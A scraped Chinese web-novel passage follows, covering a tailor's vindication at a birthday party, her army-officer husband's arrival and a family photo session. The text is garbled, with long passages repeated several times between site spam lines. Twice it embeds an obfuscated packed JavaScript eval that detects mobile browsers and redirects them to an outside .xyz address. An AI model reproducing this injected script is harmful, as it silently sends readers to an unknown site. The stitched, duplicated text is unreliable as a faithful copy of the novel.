他先是微微一怔,随即脸上露出了笑容。 “周柒柒同志!居然是你!” 翟副市长向前一步,主动伸出手,要和周柒柒握手。 周柒柒其实刚才就认出翟副市长了,但是这么多人在,她没必要去套近乎,待会儿单独打招呼也可以。 却没想到,翟副市长这么热情。 她有些意外,但很快反应过来,不卑不亢地伸手与他轻轻一握,“翟市长,你好。” “哎呀,真是巧了!” 翟副市长朗声笑道,转向自己的父亲。 “爸,您说的救命恩人就是这位周柒柒同志?这可真是大水冲了龙王庙了!” “周同志可不简单,之前我不是跟你提起第一服装厂搞改革的试点吗?就是她牵头做的,报告还是我亲自批的呢!做得有声有色!前两天省里都出文件夸奖了!” 这话声音不大,但却像一个炸雷,清晰地落在陈处长夫妻耳朵里。 陈处长眼前一黑,冷汗“唰”地一下浸透了后背的衬衫! 他刚才只当周柒柒是个有点手艺的乡下裁缝,却没想到,她和翟副市长也会这么熟! 那他刚才那番敷衍,不是把脸伸过去让人踩嘛? 他猛地一个激灵,腰直接完成了九十度,脸上对上了前所未有的惶恐和谄媚,声音都变了调。 “周同志!您看这事儿闹的!是我们有眼不识泰山!是我们不对!” 他用力拽了拽还在发懵的老婆,厉声道。 “还不赶紧好好给周同志道歉!诚恳点!” 陈母彻底傻眼了脸上血色都没了嘴唇哆嗦地道了歉顺便拽了拽娇娇。 陈娇娇被父母这突如其来的剧变给吓懵了顿时“哇”地一声扯着嗓子嚎啕大哭起来。 陈母见状训斥道。 “你这孩子这么不懂事呢!哭什么哭!快给你周阿姨道歉!” 她这么一吼陈娇娇哭得更厉害了场面一时变得有些混乱。 周柒柒抬手轻轻理了理舟舟有些乱得额发看向陈处长夫妻俩语气平静。 “行了她给舟舟道过歉就行了本来也就是小孩子之间的事儿大人跟着掺和什么劲儿?过去就过去了。” 这话轻飘飘的却像一记无形的耳光 他们拼命点头哈腰连声说着“是是是周同志说得对”、“您真是大度”心里却像吞了黄连苦不堪言。 周柒柒这几句话既给了对方一个勉强能下的台阶更把自己和舟舟的“理”与“格局”稳稳地立在了那里。 在场的明眼人谁高谁低一目了然。 翟副市长看着周柒柒这不卑不亢、处事大方的样子眼中赞赏更浓。 翟老爷子更是满意地捋了捋胡子哼了一声:“这才像话!” 院子里紧绷到极致的气氛随着周柒柒这轻描淡写的一句话终于松弛下来。 只是陈家人那强撑的笑脸下是恨不得找个地缝钻进去的难堪。 翟副市长看着老爷子这副堂子无奈地摇摇头声音放软了些: “爸!人家这儿给孩子过生日呢咱们别搅和了。您赶紧跟我回去收拾收拾医院那边我都联系好了得去好好调养调养。您想想刚才路上那会儿多遭罪啊!” 老爷子一听“医院”俩字眉头立刻皱起来了浑浊的眼睛里透出明显的抗拒。 他活了这么大岁数最怵的就是医院那股子消毒水味儿和冷冰冰的白墙躺在病床上动弹不得跟坐牢似的想想都憋屈。 “不去!我才不去那鬼地方!我这刚找着我的小恩人连话都没说上几句呢!” 他倔脾气上来干脆不理儿子转头看向舟舟脸上硬挤出个和蔼的笑 “丫头跟爷爷家去玩会儿不?爷爷那儿有可 好吃的点心芝麻酥糖、核桃糕管够!” 舟舟黑白分明的大眼睛眨了眨下意识地看向周柒柒。 周柒柒轻轻推了推她的背:“舟舟自己决定。” 舟舟抿着小嘴认真想了想还是对着老爷子摇了摇头。 她忽然张开嘴无声地做了个口型明显是两个字。 老爷子装傻充愣故意瞪大眼睛: “啊?丫头你说啥?爷爷眼睛花看不清!是要跟爷爷回家吧?” 舟舟也不急小手麻利地从口袋里掏出随身带着的、小本本又翻出一截短铅笔头。 她趴在旁边的小圆桌上刷刷几笔一个简单的、带十字标志的小房子图案就跃然纸上旁边还画了个躺着的小人儿眉头皱着。 她把本子举到老爷子眼前。 看着那清晰的“医院”图案和小人儿痛苦的表情老爷子脸上的倔强挂不住了像个被戳破的气球瘪着嘴一脸的不情愿。 翟副市长在一边小声劝着可怎么劝也不管用老爷子就是不想去。 周柒柒看得分明老爷子是真喜欢舟舟也真怕去医院。 她心里一软上前一步温声道: “老爷子您就听翟市长的吧。您刚才那模样把我和舟舟都吓得不轻。去医院把身体调养好了家里人也安心不是?您告诉我住哪个医院过两天我一定带舟舟去看您到时候让她好好陪你解解闷儿成不?” 这话说到了点子上。 老爷子看看儿子焦急的脸又看看舟舟清澈担忧的眼睛和周柒柒诚恳的表情知道再犟也没用。 他重重叹了口气拐杖在地上顿了顿: “行吧行吧老头子我年轻时候也当过兵就住市军区医院说好了 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陈处长脸色铁青,只想赶紧离开这丢人现眼的地方。 陈母也臊得慌,去拉女儿:“娇娇,走了,回家!” “我不走!” 陈娇娇正眼巴巴瞅着桌上剩下的半块奶油蛋糕,又舍不得刚见面的光明哥哥,小嘴一瘪, “蛋糕还没吃完呢!我还要和光明哥哥玩!” 她挣开妈妈的手就往蛋糕那边跑。 卓母见状,心里叹气,脸上还得堆着笑,赶紧推了推自己女儿卓秋雨: “小雨,快,带娇娇妹妹去你房间,把那件新布拉吉找出来给她换上,穿着脏裙子多不舒服。” 卓秋雨不情不愿地应了,拉着陈娇娇上楼。 换衣服的间隙,陈母在卓秋雨房间的梳妆镜前,一边帮女儿整理头发,一边忍不住低声抱怨卓母: “卓大姐,你也是!那老爷子是翟副市长的爹,你怎么不早说透点?害得我们一家子丢这么大脸!” 卓母一脸无奈: “陈嫂子,我之前在楼下不是特意跟你提过一句‘老爷子也是有身份的’吗?你当时……” 她话没说完,意思却到了——是你自己没当回事。 陈母噎了一下,脸更红了,恨恨地压低声音: “哼,算那乡下裁缝走了狗屎运!居然让她撞上救了副市长的爹!……哎,卓大姐,她家到底什么来头?除了会做衣服,还有别的门路没?” 卓母摇摇头:“柒柒就是手巧,人实在,别的……我也不清楚。” 她心里明镜似的,陈母这打听,可没安什么好心。 别说她不知道了,就算是知道,也不可能告诉陈母。 今儿是她儿子的生日,本来想好好过个生日的,这一家人倒好,给她搅合得这么不愉快。 回头就跟自家男人说,别和她们来往了。 第226章 小心眼了不是 陈母撇撇嘴心里又妒又恨嘴上咕哝: “真是走了狗屎运!” 话虽这么说接下来的时间陈家三口明显老实了。 陈处长勉强端着架子陈母也收敛了气焰只低声哄着换了衣服依旧闷闷不乐的娇娇。 生日会后半段就在一种表面轻松、实则各怀心思的气氛中结束了。 好在这本来就是孩子的生日会卓光明和一众小朋友玩的还挺开心的。 暮色四合客人们三三两两告辞。 城里的几家都住得近互相招呼着说说笑笑就没影儿在巷子口了。 卓家门口就剩下推着自行车的周柒柒还有舟舟。 卓父、卓母带着卓光明一起送出来。 卓母拉着周柒柒的手满脸歉意和感激: “柒柒今儿个真是……让你跟舟舟受委屈了。路上当心些天儿黑了骑慢点儿。” 卓父也点头叮嘱:“是啊路上坑多仔细看着点道儿。” 卓光明则依依不舍地对舟舟挥着手:“舟舟再见!下次再来玩!” 周柒柒笑着应了:“卓大姐卓大哥没事儿你们快回去吧。光明再见!” 她正准备抬腿上车。 就在这时一阵引擎声由远及近一辆锃亮的上海牌小轿车缓缓开了过来稳稳停在周柒柒的自行车旁。 小汽车停在巷子口本来是可以直接走的但是陈处长一眼就看到周柒柒推着辆自行车立马就调转了车头 “周同志还没走呢?” 后车窗摇下露出陈母那张带着点刻意笑容的脸陈处长坐在驾驶位脸色依旧有些不太自然。 陈母的声音在安静的傍晚显得格外清晰带着一种故作关心的腔调 “你看这天都黑透了骑自行车回乡下那路可不好走哇!又远又颠万一摔着孩子多不好。” 她说着眼神瞟过那辆二八大杠语气里那股子优越感藏都藏不住像是生怕别人看不见她坐着轿车似的。 陈处长也清了清嗓子接话道: “是啊周同志别客气了。单位给我配的这车宽敞!挤挤能坐下顺路捎你们一段呗?” 他拍了拍方向盘金属 的轻响像是在强调着“汽车”跟“自行车”压根儿就不是一个档次。 周柒柒眉头微蹙,语气平静却坚决: “谢谢陈处长、陈嫂子好意,真不用麻烦了。我骑车习惯了,慢点走没事。” “哎呀,周同志,你看你这是啥话?” 陈母立刻拔高了点声音,脸上堆着假笑,话锋却转得刻薄, “是不是还为刚才那点小误会不高兴呢?小孩子玩闹,都过去了嘛!我们这好心好意要载你,你这都不愿意,倒显得有点……小心眼了不是?” 她把"小心眼"三个字说得格外清楚,眼睛还瞟着卓家人,像是在说“你们看,她多不识抬举”。 这一家人真是给脸不要脸,还嫌被怼得不够呢。 周柒柒脸上的笑意一下子就淡了,正要张嘴驳回去。 突然—— 一道雪亮刺目的光柱如同利剑般劈开浓重的夜色,伴随着低沉有力的引擎轰鸣。 一辆高大威猛的军绿色吉普车,如同沉默的钢铁巨兽,稳稳地停在了上海轿车的前方。 它那硬朗的线条、宽大的车身和醒目的军牌,瞬间将旁边的小轿车衬得黯然失色。 吉普车驾驶座车门打开,一个穿着笔挺军装、动作利落的年轻军人跳下车,迅速拉开后座车门。 紧接着,一个穿着军装常服、肩章熠熠生辉的高大身影迈步而出。 他面容冷峻,身姿挺拔如松,周身带着一股久经沙场的凛冽气息。 目光锐利地扫过门口的几人,在看到周柒柒和舟舟时,那冷硬的线条才不易察觉地柔和了一瞬。 “柒柒。” 沈淮川大步流星地走到周柒柒面前,声音低沉而平稳,带着令人安心的力量, “正好在市里开完会,想着你这会儿该散了,顺路来接你们回家。” 他的目光在周柒柒脸上停留片刻,确认她无恙,才转向旁边一脸震惊的卓母和卓父。 微微颔首,语气礼貌却带着军人特有的疏离感: “你们好,打扰了,我是周柒柒的爱人,沈淮川。” 卓母从巨大的惊讶中回过神来,眼睛瞪得溜圆,看看沈淮川肩上的军衔,又看看周柒柒,说话都有些结巴了: “哎……哎哟!这… …这是……柒柒,这是你爱人?沈……沈同志?真没想到!您……您快请进坐坐?” 她是真不知道周柒柒的丈夫竟然是位军人,而且看这派头,绝不是普通士兵。 “不了,谢谢。天晚,孩子该休息了。” 沈淮川简洁地婉拒,眼神给秦磊示意了一下。 秦磊立刻会意,二话不说,走到周柒柒的自行车旁。 他动作干脆利落,单手抓住车梁,另一只手托住后轮,轻松一提,那辆沉重的二八大杠就被他稳稳当当地扛在了肩上,大步走向吉普车后备箱,轻松塞了进去,动作行云流水,透着军人的干练。 就在秦磊放车的当口,驾驶座上的陈处长,眼睛死死盯着沈淮川冷峻的侧脸,像是被雷劈中了一般,脸色“唰”地一下变得惨白如纸,额头上瞬间渗出豆大的冷汗。 他猛地推开车门,几乎是踉跄着扑了出来,腰弯得极低,声音抖得不成样子: “沈……沈团长?!您是……咱们军区战斗英雄沈淮川沈团长?!哎呀!天呐!我真是……真是有眼无珠!失敬!太失敬了!” 他脸上的惶恐和谄媚几乎要溢出来,与刚才那副故作姿态的优越感判若两人。 沈淮川闻言,只是淡淡地侧过头,目光在陈处长那张惊恐的脸上停留了不到一秒,仿佛在看一个无关紧要的物件。 他极其冷淡地“嗯”了一声,算是回应,连一个字都懒得多说。 随即,他转向周柒柒,眼神瞬间变得专注而温和,伸出手,极其自然地揽住她的肩膀,将她往吉普车方向带了一步。 同时另一只手稳稳地牵起舟舟的小手,声音低沉却不容置疑: “柒柒,舟舟,我们回家。” 他自始至终没再看陈处长一眼,仿佛那人连同他那辆显摆的轿车,都不过是路边不起眼的土坷垃。 吉普车引擎发出一声有力的低吼,载着一家三口,很快便消失在茫茫夜色之中,只留下两道迅速远去的尾灯。 陈处长僵在原地,维持着弯腰的姿势,直到吉普车的影子彻底看不见,他才像被抽掉了骨头,猛地直起身,脸色由白转青,又由青转紫。 他狠狠一拳砸在小轿车的引擎盖上,发出“咚”的一声闷响,在寂静的夜里格外刺耳。 “蠢货!你个蠢婆娘!” 他钻进车里,“砰”地一声甩上车门,对着后座已经吓傻了的陈母低吼,脖子上的青筋都蹦了起来 “你不是口口声声说她就是个乡下裁缝吗?!啊?乡下裁缝?!她男人是沈淮川!是军区挂了号的战斗英雄!是前途无量的团长!连市长都要高看三分!更何况我这个破处长!得罪了他,我以后还怎么晋升!” 他气得浑身发抖,手指头都快戳到陈母脸上了。 “来参加个宴会,副市长他爹!沈淮川!一下子得罪了俩!你……你这是要把我害死才甘心啊!” “我我哪儿知道.” 陈母抱着同样吓呆、连哭都忘了的陈娇娇,嘴唇哆嗦着,脸色白得像纸一样,脑子里嗡嗡作响。 相比起来,沈淮川车里的气氛就融洽多了,一家人坐在后座,说说笑笑地回了军属区。 折腾了一天,又经历了宴会上的风波,周柒柒和舟舟都乏了。 舟舟洗完澡就睡觉去了。 周柒柒自己痛痛快快洗了个澡。 温热的水流冲去疲惫,她擦着湿漉漉的头发走出浴室,回到卧室,打开那台刚从朱莹莹家借来的录音机, “青春的岁月像条河,岁月的河啊汇成歌……” 舒缓而略带沧桑的旋律流淌在安静的房间里。 正是那首《一支难忘的歌》。 卓母心细,知道周柒柒在书房听了一半就被打断,特意把磁带让她带了回来。 周柒柒坐到书桌前,拧亮台灯。 桌上摊开着她画了一半的设计草图。 她一边听着歌,一边拿起铅笔,笔尖在纸上沙沙作响。 灯光下,铅笔线条流畅地延伸,将歌声里的情感慢慢具象成衣物的轮廓。 沈淮川擦着头发走进来时,看到的就是这样一幅画面: 暖黄的灯光笼着妻子专注的侧脸,湿发垂在颈边,录音机里流淌着怀旧的旋律,她手中的笔仿佛带着某种韵律在纸上舞蹈。 他放轻了脚步。 周柒柒听到动静,抬头看到他,脸上露出自然的笑意,顺手把画好的几张草图拢了拢,叠放在一边。 “洗好了?” “嗯。” 沈淮川走近,目光扫过她画的东西,没多问。 周柒柒却从桌下拿出一个鼓鼓囊囊的牛皮纸袋,递给他:“喏,给你。” “这什么?” 沈淮川有些疑惑地接过。 “今天跟舟舟去百货大楼买的。” 周柒柒擦着发梢的水珠, “相册,还有几个相框。你那些宝贝照片,就那么塞在饼干盒里,年头久了,发黄发脆怎么办?得好好收着。” 她的语气带着浓浓的关切。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “蠢货!你个蠢婆娘!” 他钻进车里,“砰”地一声甩上车门,对着后座已经吓傻了的陈母低吼,脖子上的青筋都蹦了起来 “你不是口口声声说她就是个乡下裁缝吗?!啊?乡下裁缝?!她男人是沈淮川!是军区挂了号的战斗英雄!是前途无量的团长!连市长都要高看三分!更何况我这个破处长!得罪了他,我以后还怎么晋升!” 他气得浑身发抖,手指头都快戳到陈母脸上了。 “来参加个宴会,副市长他爹!沈淮川!一下子得罪了俩!你……你这是要把我害死才甘心啊!” “我我哪儿知道.” 陈母抱着同样吓呆、连哭都忘了的陈娇娇,嘴唇哆嗦着,脸色白得像纸一样,脑子里嗡嗡作响。 相比起来,沈淮川车里的气氛就融洽多了,一家人坐在后座,说说笑笑地回了军属区。 折腾了一天,又经历了宴会上的风波,周柒柒和舟舟都乏了。 舟舟洗完澡就睡觉去了。 周柒柒自己痛痛快快洗了个澡。 温热的水流冲去疲惫,她擦着湿漉漉的头发走出浴室,回到卧室,打开那台刚从朱莹莹家借来的录音机, “青春的岁月像条河,岁月的河啊汇成歌……” 舒缓而略带沧桑的旋律流淌在安静的房间里。 正是那首《一支难忘的歌》。 卓母心细,知道周柒柒在书房听了一半就被打断,特意把磁带让她带了回来。 周柒柒坐到书桌前,拧亮台灯。 桌上摊开着她画了一半的设计草图。 她一边听着歌,一边拿起铅笔,笔尖在纸上沙沙作响。 灯光下,铅笔线条流畅地延伸,将歌声里的情感慢慢具象成衣物的轮廓。 沈淮川擦着头发走进来时,看到的就是这样一幅画面: 暖黄的灯光笼着妻子专注的侧脸,湿发垂在颈边,录音机里流淌着怀旧的旋律,她手中的笔仿佛带着某种韵律在纸上舞蹈。 他放轻了脚步。 周柒柒听到动静,抬头看到他,脸上露出自然的笑意,顺手把画好的几张草图拢了拢,叠放在一边。 “洗好了?” “嗯。” 沈淮川走近,目光扫过她画的东西,没多问。 周柒柒却从桌下拿出一个鼓鼓囊囊的牛皮纸袋,递给他:“喏,给你。” “这什么?” 沈淮川有些疑惑地接过。 “今天跟舟舟去百货大楼买的。” 周柒柒擦着发梢的水珠, “相册,还有几个相框。你那些宝贝照片,就那么塞在饼干盒里,年头久了,发黄发脆怎么办?得好好收着。” 她的语气带着浓浓的关切。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “蠢货!你个蠢婆娘! 他钻进车里,“砰地一声甩上车门,对着后座已经吓傻了的陈母低吼,脖子上的青筋都蹦了起来 “你不是口口声声说她就是个乡下裁缝吗?!啊?乡下裁缝?!她男人是沈淮川!是军区挂了号的战斗英雄!是前途无量的团长!连市长都要高看三分!更何况我这个破处长!得罪了他,我以后还怎么晋升! 他气得浑身发抖,手指头都快戳到陈母脸上了。 “来参加个宴会,副市长他爹!沈淮川!一下子得罪了俩!你……你这是要把我害死才甘心啊! “我我哪儿知道. 陈母抱着同样吓呆、连哭都忘了的陈娇娇,嘴唇哆嗦着,脸色白得像纸一样,脑子里嗡嗡作响。 相比起来,沈淮川车里的气氛就融洽多了,一家人坐在后座,说说笑笑地回了军属区。 折腾了一天,又经历了宴会上的风波,周柒柒和舟舟都乏了。 舟舟洗完澡就睡觉去了。 周柒柒自己痛痛快快洗了个澡。 温热的水流冲去疲惫,她擦着湿漉漉的头发走出浴室,回到卧室,打开那台刚从朱莹莹家借来的录音机, “青春的岁月像条河,岁月的河啊汇成歌…… 舒缓而略带沧桑的旋律流淌在安静的房间里。 正是那首《一支难忘的歌》。 卓母心细,知道周柒柒在书房听了一半就被打断,特意把磁带让她带了回来。 周柒柒坐到书桌前,拧亮台灯。 桌上摊开着她画了一半的设计草图。 她一边听着歌,一边拿起铅笔,笔尖在纸上沙沙作响。 灯光下,铅笔线条流畅地延伸,将歌声里的情感慢慢具象成衣物的轮廓。 沈淮川擦着头发走进来时,看到的就是这样一幅画面: 暖黄的灯光笼着妻子专注的侧脸,湿发垂在颈边,录音机里流淌着怀旧的旋律,她手中的笔仿佛带着某种韵律在纸上舞蹈。 他放轻了脚步。 周柒柒听到动静,抬头看到他,脸上露出自然的笑意,顺手把画好的几张草图拢了拢,叠放在一边。 “洗好了? “嗯。 沈淮川走近,目光扫过她画的东西,没多问。 周柒柒却从桌下拿出一个鼓鼓囊囊的牛皮纸袋,递给他:“喏,给你。 “这什么? 沈淮川有些疑惑地接过。 “今天跟舟舟去百货大楼买的。 周柒柒擦着发梢的水珠, “相册,还有几个相框。你那些宝贝照片,就那么塞在饼干盒里,年头久了,发黄发脆怎么办?得好好收着。 她的语气带着浓浓的关切。 你的朋友正在书荒,快去帮帮他吧 “蠢货!你个蠢婆娘!” 他钻进车里“砰”地一声甩上车门对着后座已经吓傻了的陈母低吼脖子上的青筋都蹦了起来 “你不是口口声声说她就是个乡下裁缝吗?!啊?乡下裁缝?!她男人是沈淮川!是军区挂了号的战斗英雄!是前途无量的团长!连市长都要高看三分!更何况我这个破处长!得罪了他我以后还怎么晋升!” 他气得浑身发抖手指头都快戳到陈母脸上了。 “来参加个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055181|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴会副市长他爹!沈淮川!一下子得罪了俩!你……你这是要把我害死才甘心啊!” “我我哪儿知道.” 陈母抱着同样吓呆、连哭都忘了的陈娇娇嘴唇哆嗦着脸色白得像纸一样脑子里嗡嗡作响。 相比起来沈淮川车里的气氛就融洽多了一家人坐在后座说说笑笑地回了军属区。 折腾了一天又经历了宴会上的风波周柒柒和舟舟都乏了。 舟舟洗完澡就睡觉去了。 周柒柒自己痛痛快快洗了个澡。 温热的水流冲去疲惫她擦着湿漉漉的头发走出浴室回到卧室打开那台刚从朱莹莹家借来的录音机 “青春的岁月像条河岁月的河啊汇成歌……” 舒缓而略带沧桑的旋律流淌在安静的房间里。 正是那首《一支难忘的歌》。 卓母心细知道周柒柒在书房听了一半就被打断特意把磁带让她带了回来。 周柒柒坐到书桌前拧亮台灯。 桌上摊开着她画了一半的设计草图。 她一边听着歌一边拿起铅笔笔尖在纸上沙沙作响。 灯光下铅笔线条流畅地延伸将歌声里的情感慢慢具象成衣物的轮廓。 沈淮川擦着头发走进来时 暖黄的灯光笼着妻子专注的侧脸湿发垂在颈边录音机里流淌着怀旧的旋律她手中的笔仿佛带着某种韵律在纸上舞蹈。 他放轻了脚步。 周柒柒听到动静抬头看到他脸上露出自然的笑意顺手把画好的几张草图拢了拢叠放在一边。 “洗好了?” “嗯。” 沈淮川走近目光扫过她画的东西没多问。 周柒柒却从桌下拿出一个鼓鼓囊囊的牛皮纸袋递给他:“喏给你。” “这什么?” 沈淮川有些疑惑地接过。 “今天跟舟舟去百货大楼买的。” 周柒柒擦着发梢的水珠 “相册还有几个相框。你那些宝贝照片就那么塞在饼干盒里年头久了发黄发脆怎么办?得好好收着。” 她的语气带着浓浓的关切。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “蠢货!你个蠢婆娘!” 他钻进车里,“砰”地一声甩上车门,对着后座已经吓傻了的陈母低吼,脖子上的青筋都蹦了起来 “你不是口口声声说她就是个乡下裁缝吗?!啊?乡下裁缝?!她男人是沈淮川!是军区挂了号的战斗英雄!是前途无量的团长!连市长都要高看三分!更何况我这个破处长!得罪了他,我以后还怎么晋升!” 他气得浑身发抖,手指头都快戳到陈母脸上了。 “来参加个宴会,副市长他爹!沈淮川!一下子得罪了俩!你……你这是要把我害死才甘心啊!” “我我哪儿知道.” 陈母抱着同样吓呆、连哭都忘了的陈娇娇,嘴唇哆嗦着,脸色白得像纸一样,脑子里嗡嗡作响。 相比起来,沈淮川车里的气氛就融洽多了,一家人坐在后座,说说笑笑地回了军属区。 折腾了一天,又经历了宴会上的风波,周柒柒和舟舟都乏了。 舟舟洗完澡就睡觉去了。 周柒柒自己痛痛快快洗了个澡。 温热的水流冲去疲惫,她擦着湿漉漉的头发走出浴室,回到卧室,打开那台刚从朱莹莹家借来的录音机, “青春的岁月像条河,岁月的河啊汇成歌……” 舒缓而略带沧桑的旋律流淌在安静的房间里。 正是那首《一支难忘的歌》。 卓母心细,知道周柒柒在书房听了一半就被打断,特意把磁带让她带了回来。 周柒柒坐到书桌前,拧亮台灯。 桌上摊开着她画了一半的设计草图。 她一边听着歌,一边拿起铅笔,笔尖在纸上沙沙作响。 灯光下,铅笔线条流畅地延伸,将歌声里的情感慢慢具象成衣物的轮廓。 沈淮川擦着头发走进来时,看到的就是这样一幅画面: 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“后天周日 ” 他开口声音带着点不易察觉的期待“咱们带舟舟去城里照相馆吧?” 周柒柒抬头看他。 “照张全家福” 沈淮川的目光落在床头柜那张旧全家福上又移回周柒柒脸上 “我们仨的。再……再给你我单独照一张。” 他顿了顿声音低了些 “我们好像……连张正经合照都没有。” 他拿起空了大半的相册晃了晃 “正好填满它。还能提前寄张给疗养院爸妈看看让他们……心里有个准备。” 周柒柒心头一暖 她笑着点头:“好!” 沈淮川这才弯腰准备把收拾好的饼干盒塞回床底。 就在他拿起盒子时周柒柒眼尖地瞥见盒子最底层露出一角叠得方方正正、颜色还挺鲜亮的手帕布料。 显然不是那些旧物里面似乎还包着什么东西。 “哎?那是什么?” 周柒柒好奇地探身伸手想去拿“手帕里包的啥?” 沈淮川的动作猛地一僵几乎是条件反射般迅速把盒子往下一摁挡住了她的手语气有点不自然: “没什么就……一点旧东西不值当看的。” 他眼神闪烁避开了周柒柒探究的目光。 周柒柒更觉得奇怪了正要追问沈淮川却突然倾身过来。 带着刚沐浴后清爽气息的吻带着点不容分说的急切和一丝不易察觉的慌乱堵住了她所有未出口的疑问。 这个吻来得突然又热烈带着灼人的温度瞬间搅乱了周柒柒的思绪。 “唔……” 她含糊地**了一声却被沈淮川更深地吻住。 他一手揽住她的腰将她带向自己另一只手顺势将那个饼干盒不着痕迹地往床底深处推了推。 周柒柒被他吻得气息不稳脑子里那点关于手帕的好奇被这突如其来的亲密冲击得七零八落。 他一边加深着这个吻一边带着她一步步向后倒向身后柔软的床铺。 台灯的光晕被晃动的人影切割成模糊的光斑在墙壁上跳跃。 那方“神秘”的手帕包裹被彻底遗忘在床 底的阴影里。 夜色渐深房间里只剩下枕畔越来越重的呼吸和压抑的低喃。 相册静静躺在床头新相框里一家人的笑容在暖黄的灯光下显得格外安宁。 窗外的月光悄悄探进来温柔地覆盖住了这化不开的浓情。 周柒柒虽然晚上被糊弄过去了但是心里一直惦记着这事儿呢。 第二天早上天刚蒙蒙亮她就醒了。 轻手轻脚 指尖刚接触到冰凉的铁皮盒盖就发现盒子的位置明显不一样了。 掀开一开最底层空空如也那方叠得整整齐齐的手帕连同里面包着的东西全都不翼而飞了。 “这家伙” 周柒柒又好气又好笑对着空盒子嘀咕。 “说好的有什么事都告诉对方呢?藏得倒快!” 她琢磨着等沈淮川回来非得好好“审问”她一番。 可没承想沈淮川临时有任务外出了至少四五天都回不来。 军人这职业就是这样说走就走身为军属她也有点习惯了。 只是原先约好的周日去照相的事儿自然也泡了汤。 不过沈淮川不在这日子还是照样要过的。 周柒柒一边忙着文工团舞蹈服的细节一边挤出时间给一家三口人给做了一身新衣裳。 到了周日沈淮川一大早就赶回来了她的衣服也做得差不多了正好三人都穿上身。 沈淮川的是一身藏青色毛呢中山装垫肩硬朗衬得人愈发挺拔; 周柒柒自己则是一件枣红色的改良旗袍虽然款式简单但掐了腰身盘扣精致料子垂坠有光泽; 舟舟的是一件暖橘色的灯芯绒背带裙娃娃领上缀着细白牙边上面还绣着星星图案俏皮可爱。 最点睛的是周柒柒亲手织的三条同款米白色羊绒围巾软软绒绒的往脖子上一搭认谁都看得出来这是一家三口了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058750|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她也没忘了给秦磊做一身改良版青年装这孩子也就十七岁已经跟在沈淮川身边两年了也不容易。 不过时间紧她没提前把衣服给秦磊而是都放在一个大蛇皮袋里让秦磊给拎到后备箱去。 军用吉普 车开的飞快,很快就载着四人到了城里最大,也是最有名的“红星照相馆 推开厚厚的玻璃门,一股子混合着药水和陈旧布景的独特气息就扑面而来。 照相馆不算大,靠墙一排刷着绿漆的木椅子,坐着几位等待的客人。 墙上挂着些样片,大多是标准证件照,也有几张全家福,背景千篇一律:要么是画着假山亭子、塑料假花的布景板,要么就是那面印着雄伟**的巨大幕布。 角落里,一架蒙着黑布的老式木壳座机相机蹲在三脚架上,旁边立着打光用的、蒙着银白伞布的大灯。 沈淮川去登记、交钱,过了一会儿就轮到他们了。 一个头发花白、穿着洗得发白工作服的老摄影师,架着副老花镜,热情地招呼: “来来来,同志这边请!拍全家福是吧?好嘞! 老师傅拍了这么长时间照了,很少见到这么好看的一家三口,养眼得很,工作热情都被点燃了。 他麻利地拉过一张蒙着红丝绒的长条凳,摆在那幅**背景幕布前,熟练地指挥: “来来,爸爸站左边,位置稳当!妈妈站爸爸旁边,挨近点!孩子嘛,就站爸爸妈妈中间,对,站小方凳子上,显高!哎,好! 周柒柒听到“爸爸、“妈妈的称呼,下意识就想张嘴解释说不是亲生的。 话还没说出口,袖子就被旁边的沈淮川轻轻扯了一下。 她抬眼望去,只见舟舟正紧张地攥着小拳头。 周柒柒心一软,到嘴边的话又咽了回去。 只是顺着老师傅的指引,挨着沈淮川坐了下来。 沈淮川则稳稳地将舟舟抱起,让她站在自己和周柒柒之间的凳子上。 “好嘞!看镜头! 沈淮川在部队站军姿站惯了,一到镜头前,身体的本能反应就是立正、挺胸、收腹、抬胸,双手下意识地就要去贴裤缝。 舟舟挨着他站着,感觉像是挨着一块硬邦邦的木板上,小身子都不敢乱动。 老师傅钻进了相机后的黑布里,声音闷闷地传出来。 “都精神点!哎,那位男同志,放松放松!肩膀别绷那么直,自然一点,对,耷拉一点……哎,好!头!头往你爱人那边歪一歪,显得亲热……对对,再歪一点……哎哟,过了过了!太刻意了! 沈淮川被老师傅指点着,有点紧张,努力想做出“耷拉肩膀、“歪头的动作,结果身体僵硬地像块铁板,脖子歪得角度极其不自然,活像是落枕了似的。 周柒柒看他这副手都不知道往哪儿放的窘迫样子,实在没忍住,扑哧一声笑了出来。 舟舟也跟着抿着小嘴偷偷乐了。 老师傅从黑布里探出头,哭笑不得。 “哎呦喂,我说这位同志,您是当兵的吧?好家伙,这姿势,比我们拍标准证件照还要求严格哩!放松!放松!你就跟平常在家一样,自然一点! 第228章 “奇装异服”的一家三口 老师傅重新把头埋回黑布,声音再次传出。 “好!都看我这儿!看镜头!准备——” “笑一笑!开心点!自然点!哎,那位军人同志,孩子他爸!说你呢!别那么严肃!跟要上战场似!想想高兴的事儿!” “媳妇和娃娃都这么好看,怎么就不知道笑呢?!” 沈淮川努力想扯出一个笑容,但是在老师傅的眼里,那笑比哭还难看,给老师傅整无奈了。 周柒柒眼珠子一转,给老师傅比划了一个收拾。 接着放在身侧的右手,悄悄地从沈淮川背后伸过去,精准地在他腰侧最怕痒的那一小块的方,用指尖轻轻、快速地一戳! “噗嗤——!” 